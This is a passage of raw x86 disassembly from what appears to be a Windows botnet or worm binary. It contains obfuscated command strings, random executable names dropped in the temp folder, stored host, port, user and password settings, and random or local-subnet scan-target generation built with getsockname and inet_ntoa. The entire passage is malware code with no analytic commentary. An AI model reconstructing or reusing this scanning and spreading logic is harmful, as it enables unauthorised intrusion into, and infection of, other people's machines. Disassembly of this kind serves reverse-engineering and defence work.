		push	offset aSSS_	; "%s %s %s."
		jmp	loc_414988
; ---------------------------------------------------------------------------


loc_41017F:				; CODE XREF: sub_40A9FE+55A6j
					; sub_40A9FE+55AFj
		mov	edi, offset aHuudgYqzdz	; "HuuDG/YQZDz/"
		jmp	loc_40BF10
; ---------------------------------------------------------------------------


loc_410189:				; CODE XREF: sub_40A9FE+559Dj
		push	dword ptr [ebx]
		push	offset aNoazx1alvg0 ; "NoaZx1Alvg/0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_410418
		xor	ecx, ecx
		cmp	[ebx+4], ecx
		jnz	short loc_4101BC
		cmp	[ebp+arg_14], ecx
		mov	edi, offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	loc_40BF3A
		cmp	[ebp+arg_18], ecx
		jmp	loc_40BF1F
; ---------------------------------------------------------------------------


loc_4101BC:				; CODE XREF: sub_40A9FE+57A1j
		mov	eax, [ebx+8]
		cmp	eax, ecx
		jz	short loc_4101D3
		push	eax
		push	offset a3c9	; "]&3c9"
		call	edi ; dword_437178
		test	eax, eax
		jz	loc_414995


loc_4101D3:				; CODE XREF: sub_40A9FE+57C3j
		push	11h
		call	sub_42381F
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_410226
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_41020E
		cmp	[ebp+arg_18], 0
		jnz	short loc_410218
		push	eax
		push	ebx
		push	offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_41020E:				; CODE XREF: sub_40A9FE+57F2j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_410218:				; CODE XREF: sub_40A9FE+57F8j
		push	[ebp+arg_C]
		push	ebx


loc_41021C:				; CODE XREF: sub_40A9FE+59A8j
		push	offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_410226:				; CODE XREF: sub_40A9FE+57E2j
		lea	eax, [ebp+var_6D80]
		push	eax
		push	104h
		call	dword_4370B8	; GetTempPathA
		call	sub_429B9C
		push	9
		pop	edi
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, edi
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		idiv	edi
		lea	eax, [ebp+var_6D80]
		push	edx
		push	offset dword_4439B4
		push	eax
		lea	eax, [ebp+var_5DC4]
		push	offset aSSDDDDD_exe ; "%s%s%d%d%d%d%d.exe"
		push	eax
		call	sub_429B03
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_20]
		mov	[ebp+var_664], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_5B0], eax
		mov	eax, [ebp+arg_18]
		add	esp, 24h
		mov	[ebp+var_5AC], eax
		test	eax, eax
		mov	[ebp+var_5B4], ecx
		lea	eax, [ebp+var_660]
		jnz	short loc_4102C3
		push	dword ptr [esi+0Ch]
		jmp	short loc_4102C5
; ---------------------------------------------------------------------------


loc_4102C3:				; CODE XREF: sub_40A9FE+58BEj
		push	dword ptr [esi]


loc_4102C5:				; CODE XREF: sub_40A9FE+58C3j
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebx+4]
		xor	ecx, ecx
		mov	[ebp+var_5DC], eax
		lea	eax, [ebp+var_5DC4]
		mov	[ebp+var_5D8], eax
		xor	eax, eax
		cmp	[ebx+0Ch], eax
		mov	[ebp+var_5D0], 1
		mov	[ebp+var_5CC], eax
		mov	[ebp+var_5C8], eax
		setnz	cl
		mov	[ebp+var_5C4], ecx
		mov	eax, [ebx+4]
		lea	ecx, [ebp+var_5DC4]
		mov	edi, offset aRy6iq0udbphN2n ; "RY6IQ0UDbPh/N2NHs/pc9zb/8Wb3v063Ds00"
		push	ecx
		push	eax
		push	edi
		push	offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		push	offset dword_441058
		push	11h
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_5E0], eax
		lea	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_664]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_4182BA
		push	eax
		push	eax
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_5E0]
		imul	ecx, 2724h
		test	eax, eax
		mov	dword_46D72C[ecx], eax
		jnz	short loc_4103B3
		cmp	[ebp+arg_14], eax
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_410394
		cmp	[ebp+arg_18], eax
		jnz	short loc_41039E
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_410394:				; CODE XREF: sub_40A9FE+5973j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_41039E:				; CODE XREF: sub_40A9FE+5978j
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		jmp	loc_41021C
; ---------------------------------------------------------------------------


loc_4103AB:				; CODE XREF: sub_40A9FE+59BCj
		push	32h
		call	dword_437190	; Sleep


loc_4103B3:				; CODE XREF: sub_40A9FE+5963j
		cmp	[ebp+var_5A8], 0
		jz	short loc_4103AB
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jnz	short loc_4103F4
		cmp	[ebp+arg_18], eax
		jnz	short loc_4103FE
		cmp	[ebp+arg_20], eax
		jz	loc_414995
		push	[ebp+var_5D8]
		mov	eax, [ebx+4]
		push	eax
		push	edi
		push	offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		push	offset dword_441058
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_4103F4:				; CODE XREF: sub_40A9FE+59C3j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_4103FE:				; CODE XREF: sub_40A9FE+59C8j
		push	[ebp+var_5D8]
		mov	ebx, [ebx+4]
		push	ebx
		push	edi
		push	offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
		push	offset dword_441058
		jmp	loc_414988
; ---------------------------------------------------------------------------


loc_410418:				; CODE XREF: sub_40A9FE+5796j
		push	dword ptr [ebx]
		push	offset aUqyil_iyvpi_ ; "uQYiL.iYvpI."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_41060D
		cmp	[ebx+4], eax
		jz	loc_410603
		cmp	[ebx+8], eax
		jz	loc_410603
		mov	edi, 200h
		push	edi
		push	eax
		push	offset dword_4565A0
		call	sub_429760
		push	edi
		push	0
		push	offset dword_4567A8
		call	sub_429760
		push	edi
		push	0
		push	offset dword_4569A8
		call	sub_429760
		push	edi
		push	0
		push	offset dword_456BA8
		call	sub_429760
		mov	edi, dword_4370B4
		add	esp, 30h
		push	dword ptr [ebx+4]
		push	offset dword_4565A0
		call	edi ; dword_4370B4
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	dword_4567A0, eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		pop	ecx
		jz	short loc_4104A3
		push	eax
		push	offset dword_4567A8
		call	edi ; dword_4370B4


loc_4104A3:				; CODE XREF: sub_40A9FE+5A9Bj
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_4104B2
		push	eax
		push	offset dword_4569A8
		call	edi ; dword_4370B4


loc_4104B2:				; CODE XREF: sub_40A9FE+5AAAj
		mov	ebx, [ebx+14h]
		test	ebx, ebx
		jz	short loc_4104C1
		push	ebx
		push	offset dword_456BA8
		call	edi ; dword_4370B4


loc_4104C1:				; CODE XREF: sub_40A9FE+5AB9j
		cmp	[ebp+arg_60], 0
		jz	loc_4105AF
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx
		call	sub_429B9C
		push	1Ah
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, ebx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, ebx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, ebx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, ebx
		idiv	ecx
		add	edx, 61h
		push	edx
		call	sub_429B9C
		cdq
		idiv	ebx
		mov	ebx, offset dword_456218
		add	edx, 61h
		push	edx
		push	offset aCCCCCC	; "%c%c%c%c%c%c"
		push	ebx
		call	sub_429B03
		add	esp, 20h
		push	ebx
		push	offset dword_4567A8
		call	edi ; dword_4370B4
		push	ebx
		push	offset dword_4569A8
		call	edi ; dword_4370B4
		call	sub_429B9C
		push	9
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	sub_429B9C
		cdq
		idiv	ebx
		lea	eax, [ebp+var_61CC]
		push	edx
		push	offset dword_4439B4
		push	offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
		push	eax
		call	sub_429B03
		add	esp, 20h
		lea	eax, [ebp+var_61CC]
		push	eax
		push	offset dword_456BA8
		call	edi ; dword_4370B4


loc_4105AF:				; CODE XREF: sub_40A9FE+5AC7j
		cmp	[ebp+arg_14], 0
		mov	dword_456DA8, 1
		mov	edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
		mov	ebx, offset aSIsSetToSDUSPS ; "%s is set to %s:%d U: %s	P: %s F: %s"
		jnz	short loc_4105FD
		cmp	[ebp+arg_18], 0
		jnz	loc_41066F
		push	offset dword_456BA8
		push	offset dword_4569A8
		push	offset dword_4567A8
		push	dword_4567A0
		push	offset dword_4565A0
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 24h


loc_4105FD:				; CODE XREF: sub_40A9FE+5BC9j
		cmp	[ebp+arg_18], 0
		jmp	short loc_410669
; ---------------------------------------------------------------------------


loc_410603:				; CODE XREF: sub_40A9FE+5A2Ej
					; sub_40A9FE+5A37j
		mov	edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
		jmp	loc_40BF10
; ---------------------------------------------------------------------------


loc_41060D:				; CODE XREF: sub_40A9FE+5A25j
		push	dword ptr [ebx]
		push	offset a4qyyh1q2ps1 ; "4QyYH1q/2ps1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_4106CE
		cmp	dword_456DA8, eax
		mov	edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
		jz	short loc_41069D
		cmp	[ebp+arg_14], eax
		mov	ebx, offset aSIsSetToSDUSPS ; "%s is set to %s:%d U: %s	P: %s F: %s"
		jnz	short loc_410666
		cmp	[ebp+arg_18], eax
		jnz	short loc_41066F
		push	offset dword_456BA8
		push	offset dword_4569A8
		push	offset dword_4567A8
		push	dword_4567A0
		push	offset dword_4565A0
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 24h
		xor	eax, eax


loc_410666:				; CODE XREF: sub_40A9FE+5C35j
		cmp	[ebp+arg_18], eax


loc_410669:				; CODE XREF: sub_40A9FE+5C03j
		jz	loc_412FED


loc_41066F:				; CODE XREF: sub_40A9FE+5BCFj
					; sub_40A9FE+5C3Aj
		push	offset dword_456BA8
		push	offset dword_4569A8
		push	offset dword_4567A8
		push	dword_4567A0
		push	offset dword_4565A0
		push	edi
		push	ebx
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 24h
		jmp	loc_412FED
; ---------------------------------------------------------------------------


loc_41069D:				; CODE XREF: sub_40A9FE+5C2Bj
		cmp	[ebp+arg_14], eax
		mov	ebx, offset aSIsOff_ ; "%s is off."
		jnz	short loc_4106BE
		cmp	[ebp+arg_18], eax
		jnz	short loc_4106C7
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h
		xor	eax, eax


loc_4106BE:				; CODE XREF: sub_40A9FE+5CA7j
		cmp	[ebp+arg_18], eax


loc_4106C1:				; CODE XREF: sub_40A9FE+5D9Fj
		jz	loc_412FED


loc_4106C7:				; CODE XREF: sub_40A9FE+5CACj
					; sub_40A9FE:loc_410783j
		push	edi
		push	ebx
		jmp	loc_40BA60
; ---------------------------------------------------------------------------


loc_4106CE:				; CODE XREF: sub_40A9FE+5C1Aj
		push	dword ptr [ebx]
		push	offset aZgidu12tiv0 ; "ZGidU12tiV0/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_410702
		cmp	dword_456DA8, eax
		jz	loc_412FED
		mov	ebx, offset aSIsOn_ ; "%s is on."


loc_4106EC:				; CODE XREF: sub_40A9FE+5D22j
		cmp	[ebp+arg_14], eax
		mov	edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
		jnz	loc_410799
		cmp	[ebp+arg_18], eax
		jmp	loc_410783
; ---------------------------------------------------------------------------


loc_410702:				; CODE XREF: sub_40A9FE+5CDBj
		push	dword ptr [ebx]
		push	offset aHgcrw_cwuf5_ ; "HGCRW.CWUF5."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_410722
		cmp	dword_456DA8, eax
		jnz	loc_412FED
		mov	ebx, offset aSIsOff_ ; "%s is off."
		jmp	short loc_4106EC
; ---------------------------------------------------------------------------


loc_410722:				; CODE XREF: sub_40A9FE+5D0Fj
		push	dword ptr [ebx]
		push	offset aGztle_nhywf ; "gzTlE.nhywf/"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4107A2
		mov	edi, 200h
		xor	ebx, ebx
		push	edi
		push	ebx
		push	offset dword_4565A0
		mov	dword_456DA8, ebx
		call	sub_429760
		push	edi
		push	ebx
		push	offset dword_4567A8
		call	sub_429760
		push	edi
		push	ebx
		push	offset dword_4569A8
		call	sub_429760
		push	edi
		push	ebx
		push	offset dword_456BA8
		call	sub_429760
		add	esp, 30h
		cmp	[ebp+arg_14], 0
		mov	edi, offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
		mov	ebx, offset aSIsOff_ ; "%s is off."
		jnz	short loc_410799
		cmp	[ebp+arg_18], 0


loc_410783:				; CODE XREF: sub_40A9FE+5CFFj
		jnz	loc_4106C7
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_410799:				; CODE XREF: sub_40A9FE+5CF6j
					; sub_40A9FE+5D7Fj
		cmp	[ebp+arg_18], 0
		jmp	loc_4106C1
; ---------------------------------------------------------------------------


loc_4107A2:				; CODE XREF: sub_40A9FE+5D2Fj
		push	dword ptr [ebx]
		push	offset aL80reUvcue1 ; "l80re/UvCUe1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_4107F6
		cmp	[ebp+arg_18], eax
		mov	ebx, [ebx+4]
		jnz	short loc_4107D1
		test	ebx, ebx
		jz	short loc_4107C4
		push	ebx
		call	sub_42A100
		pop	ecx
		jmp	short loc_4107C6
; ---------------------------------------------------------------------------


loc_4107C4:				; CODE XREF: sub_40A9FE+5DBBj
		xor	eax, eax


loc_4107C6:				; CODE XREF: sub_40A9FE+5DC4j
		push	eax
		push	[ebp+arg_20]
		push	0
		push	dword ptr [esi+0Ch]
		jmp	short loc_4107E9
; ---------------------------------------------------------------------------


loc_4107D1:				; CODE XREF: sub_40A9FE+5DB7j
		test	ebx, ebx
		jz	short loc_4107DE
		push	ebx
		call	sub_42A100
		pop	ecx
		jmp	short loc_4107E0
; ---------------------------------------------------------------------------


loc_4107DE:				; CODE XREF: sub_40A9FE+5DD5j
		xor	eax, eax


loc_4107E0:				; CODE XREF: sub_40A9FE+5DDEj
		push	eax
		push	[ebp+arg_20]
		push	[ebp+arg_18]
		push	dword ptr [esi]


loc_4107E9:				; CODE XREF: sub_40A9FE+5DD1j
		push	[ebp+arg_10]
		call	sub_401990
		jmp	loc_41479B
; ---------------------------------------------------------------------------


loc_4107F6:				; CODE XREF: sub_40A9FE+5DAFj
		push	dword ptr [ebx]
		push	offset aTvjro1ubgtg1 ; "TVJrO1uBGtg1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_410842
		mov	ebx, [ebx+4]
		test	ebx, ebx
		jz	short loc_410812
		push	ebx
		call	sub_42A100
		jmp	short loc_410819
; ---------------------------------------------------------------------------


loc_410812:				; CODE XREF: sub_40A9FE+5E0Aj
		push	8
		call	sub_42381F


loc_410819:				; CODE XREF: sub_40A9FE+5E12j
		test	eax, eax
		pop	ecx
		jz	loc_414995
		cmp	[ebp+arg_18], 0
		push	eax
		jnz	short loc_410830
		push	0
		push	dword ptr [esi+0Ch]
		jmp	short loc_410835
; ---------------------------------------------------------------------------


loc_410830:				; CODE XREF: sub_40A9FE+5E29j
		push	[ebp+arg_18]
		push	dword ptr [esi]


loc_410835:				; CODE XREF: sub_40A9FE+5E30j
		push	[ebp+arg_10]
		call	sub_40204B
		jmp	loc_41474E
; ---------------------------------------------------------------------------


loc_410842:				; CODE XREF: sub_40A9FE+5E03j
		push	dword ptr [ebx]
		push	offset aVxa_uCdd7s0 ; "VXA.u/cDD7S0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_41085B
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	8
		jmp	loc_412B29
; ---------------------------------------------------------------------------


loc_41085B:				; CODE XREF: sub_40A9FE+5E4Fj
		push	dword ptr [ebx]
		push	offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_410E28
		cmp	[ebx+4], eax
		jz	loc_414756
		cmp	[ebx+8], eax
		jz	loc_414756
		cmp	[ebx+0Ch], eax
		jz	loc_414756
		cmp	[ebx+10h], eax
		jz	loc_414756
		push	8
		call	sub_423800
		push	dword ptr [ebx+8]
		mov	[ebp+arg_C], eax
		call	sub_42A100
		add	eax, [ebp+arg_C]
		pop	ecx
		pop	ecx
		cmp	eax, 1C2h
		jg	loc_413EDD
		push	dword ptr [ebx+4]
		call	sub_42A100
		movzx	eax, ax
		mov	[ebp+var_244], eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_22C], eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+var_240], eax
		jnb	short loc_4108F0
		xor	eax, eax
		inc	eax
		mov	[ebp+var_240], eax


loc_4108F0:				; CODE XREF: sub_40A9FE+5EE7j
		push	3
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4108FD
		mov	[ebp+var_240], ecx


loc_4108FD:				; CODE XREF: sub_40A9FE+5EF7j
		push	dword ptr [ebx+10h]
		call	sub_42A100
		mov	[ebp+var_23C], eax
		mov	eax, 270Fh
		cmp	[ebp+var_23C], eax
		pop	ecx
		jbe	short loc_41091F
		mov	[ebp+var_23C], eax


loc_41091F:				; CODE XREF: sub_40A9FE+5F19j
		mov	eax, [ebp+arg_14]
		or	[ebp+var_228], 0FFFFFFFFh
		mov	dword_454A48, eax
		mov	eax, [ebp+arg_20]
		mov	dword_454A4C, eax
		mov	eax, [ebp+arg_18]
		xor	ecx, ecx
		mov	dword_454A50, eax
		cmp	dword_43A378, ecx
		mov	[ebp+arg_C], ecx
		jz	short loc_41098F
		mov	[ebp+arg_4], offset dword_43A378


loc_410952:				; CODE XREF: sub_40A9FE+5F71j
		mov	eax, [ebp+arg_4]
		push	dword ptr [ebx+4]
		add	eax, 0FFFFFFD0h
		push	eax
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_410973
		add	[ebp+arg_4], 40h
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax], 0
		jnz	short loc_410952
		jmp	short loc_41098D
; ---------------------------------------------------------------------------


loc_410973:				; CODE XREF: sub_40A9FE+5F62j
		mov	eax, [ebp+arg_C]
		mov	ecx, eax
		mov	[ebp+var_228], eax
		shl	ecx, 6
		mov	ecx, dword_43A378[ecx]
		mov	[ebp+var_244], ecx


loc_41098D:				; CODE XREF: sub_40A9FE+5F73j
		xor	ecx, ecx


loc_41098F:				; CODE XREF: sub_40A9FE+5F4Bj
		cmp	[ebp+var_244], ecx
		jnz	short loc_4109C8
		cmp	[ebp+arg_14], ecx
		mov	edi, offset aSInvalidPort ; "%s	Invalid	port"
		jnz	short loc_4109C0
		cmp	[ebp+arg_18], ecx
		jnz	loc_41473E
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h
		xor	ecx, ecx


loc_4109C0:				; CODE XREF: sub_40A9FE+5FA1j
		cmp	[ebp+arg_18], ecx
		jmp	loc_414738
; ---------------------------------------------------------------------------


loc_4109C8:				; CODE XREF: sub_40A9FE+5F97j
		mov	eax, [ebx+14h]
		cmp	eax, ecx
		jz	loc_410A56
		push	eax
		push	offset aX_x_x_x	; "x.x.x.x"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_410A27
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx


loc_4109EC:				; CODE XREF: sub_40A9FE+6001j
		call	sub_429B9C
		cdq
		mov	ecx, 0E1h
		idiv	ecx
		add	edx, 4
		cmp	edx, 7Fh
		jz	short loc_4109EC
		push	edx
		push	offset aD_x_x_x	; "%d.x.x.x"
		lea	eax, [ebp+var_2D4]
		push	10h
		push	eax
		call	sub_429BBE
		add	esp, 10h


loc_410A18:				; CODE XREF: sub_40A9FE+6216j
					; sub_40A9FE+621Ej ...
		mov	[ebp+var_218], 1
		jmp	loc_410C49
; ---------------------------------------------------------------------------


loc_410A27:				; CODE XREF: sub_40A9FE+5FDFj
		push	dword ptr [ebx+14h]
		lea	eax, [ebp+var_2D4]
		push	10h
		push	eax
		call	sub_429BBE
		push	78h
		push	dword ptr [ebx+14h]
		call	sub_42B1A0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_218], eax
		jmp	loc_410C49
; ---------------------------------------------------------------------------


loc_410A56:				; CODE XREF: sub_40A9FE+5FCFj
		cmp	[ebp+arg_64], ecx
		jnz	short loc_410AB1
		cmp	[ebp+arg_54], ecx
		jnz	loc_410B82
		cmp	[ebp+arg_58], ecx
		jnz	loc_410B82
		cmp	[ebp+arg_5C], ecx
		jnz	loc_410B82
		cmp	[ebp+arg_60], ecx
		jnz	loc_410B82
		cmp	[ebp+arg_14], ecx
		mov	ebx, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	edi, offset aSNoIpSpecified ; "%s No IP	specified."
		jnz	short loc_410AA9
		cmp	[ebp+arg_18], ecx
		jnz	loc_40B666
		push	ebx
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h
		xor	ecx, ecx


loc_410AA9:				; CODE XREF: sub_40A9FE+608Ej
		cmp	[ebp+arg_18], ecx
		jmp	loc_40B660
; ---------------------------------------------------------------------------


loc_410AB1:				; CODE XREF: sub_40A9FE+605Bj
		cmp	[ebp+arg_54], ecx
		jz	short loc_410ABF
		mov	[ebp+arg_C], 1
		jmp	short loc_410AD9
; ---------------------------------------------------------------------------


loc_410ABF:				; CODE XREF: sub_40A9FE+60B6j
		cmp	[ebp+arg_58], ecx
		jz	short loc_410ACD
		mov	[ebp+arg_C], 2
		jmp	short loc_410AD9
; ---------------------------------------------------------------------------


loc_410ACD:				; CODE XREF: sub_40A9FE+60C4j
		cmp	[ebp+arg_5C], ecx
		jz	short loc_410B50
		mov	[ebp+arg_C], 3


loc_410AD9:				; CODE XREF: sub_40A9FE+60BFj
					; sub_40A9FE+60CDj
		mov	ebx, offset dword_457C40
		push	offset byte_454A54
		push	ebx
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_410AF5
		push	ebx
		call	sub_41E4C1
		test	eax, eax
		pop	ecx
		jz	short loc_410B1B


loc_410AF5:				; CODE XREF: sub_40A9FE+60EAj
		mov	ecx, [ebp+arg_10]
		call	sub_41DB58
		mov	ecx, [ebp+arg_10]
		push	eax
		call	sub_41CF25
		mov	edi, eax
		push	2710h
		push	edi
		call	dword_43707C	; WaitForSingleObject
		push	edi
		call	dword_437044	; CloseHandle


loc_410B1B:				; CODE XREF: sub_40A9FE+60F5j
		push	[ebp+arg_C]
		mov	edi, [ebp+arg_60]
		push	edi
		push	ebx
		call	sub_401F54
		add	esp, 0Ch
		test	eax, eax
		jz	loc_414995
		push	10h
		push	eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_429D10
		add	esp, 0Ch
		mov	[ebp+var_218], edi
		jmp	loc_410C49
; ---------------------------------------------------------------------------


loc_410B50:				; CODE XREF: sub_40A9FE+60D2j
		mov	edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		mov	ebx, offset aSNoSubnetClass ; "%s No subnet class specified."


loc_410B5A:				; CODE XREF: sub_40A9FE+36EDj
		cmp	[ebp+arg_14], ecx
		jnz	short loc_410B7A
		cmp	[ebp+arg_18], ecx
		jnz	loc_40D2C7
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h
		xor	ecx, ecx


loc_410B7A:				; CODE XREF: sub_40A9FE+615Fj
		cmp	[ebp+arg_18], ecx
		jmp	loc_40D2C1
; ---------------------------------------------------------------------------


loc_410B82:				; CODE XREF: sub_40A9FE+6060j
					; sub_40A9FE+6069j ...
		mov	ecx, [ebp+arg_10]
		push	10h
		pop	edi
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_6C]
		push	eax
		mov	[ebp+var_5C], edi
		call	sub_41DB68
		push	eax
		call	dword_456EB8	; getsockname
		xor	ebx, ebx
		cmp	[ebp+arg_54], ebx
		jz	short loc_410BAF
		and	[ebp+var_68], 0FFh
		jmp	short loc_410BC4
; ---------------------------------------------------------------------------


loc_410BAF:				; CODE XREF: sub_40A9FE+61A6j
		cmp	[ebp+arg_58], ebx
		jz	short loc_410BBB
		and	word ptr [ebp+var_68+2], 0
		jmp	short loc_410BC4
; ---------------------------------------------------------------------------


loc_410BBB:				; CODE XREF: sub_40A9FE+61B4j
		cmp	[ebp+arg_5C], ebx
		jz	short loc_410BC4
		and	byte ptr [ebp+var_68+3], 0


loc_410BC4:				; CODE XREF: sub_40A9FE+61AFj
					; sub_40A9FE+61BBj ...
		push	edi
		push	[ebp+var_68]
		call	dword_456FDC	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_429D10
		add	esp, 0Ch
		cmp	[ebp+arg_60], ebx
		jz	short loc_410C43
		xor	edi, edi
		cmp	[ebp+arg_54], ebx
		jz	short loc_410BEF
		push	3


loc_410BEC:				; CODE XREF: sub_40A9FE+61F8j
		pop	edi
		jmp	short loc_410C00
; ---------------------------------------------------------------------------


loc_410BEF:				; CODE XREF: sub_40A9FE+61EAj
		cmp	[ebp+arg_58], ebx
		jz	short loc_410BF8
		push	2
		jmp	short loc_410BEC
; ---------------------------------------------------------------------------


loc_410BF8:				; CODE XREF: sub_40A9FE+61F4j
		cmp	[ebp+arg_5C], ebx
		jz	short loc_410C00
		xor	edi, edi
		inc	edi


loc_410C00:				; CODE XREF: sub_40A9FE+61EFj
					; sub_40A9FE+61FDj
		lea	eax, [ebp+var_2D4]
		push	30h
		push	eax
		call	sub_42B060
		pop	ecx
		xor	bl, bl
		test	edi, edi
		pop	ecx
		jle	loc_410A18


loc_410C1A:				; CODE XREF: sub_40A9FE+623Ej
		test	eax, eax
		jz	loc_410A18
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_2D4]
		push	30h
		push	eax
		call	sub_42B060
		pop	ecx
		inc	bl
		pop	ecx
		movsx	ecx, bl
		cmp	ecx, edi
		jl	short loc_410C1A
		jmp	loc_410A18
; ---------------------------------------------------------------------------


loc_410C43:				; CODE XREF: sub_40A9FE+61E3j
		mov	[ebp+var_218], ebx


loc_410C49:				; CODE XREF: sub_40A9FE+6024j
					; sub_40A9FE+6053j ...
		mov	eax, [ebp+arg_14]
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_224], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_21C], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_220], eax
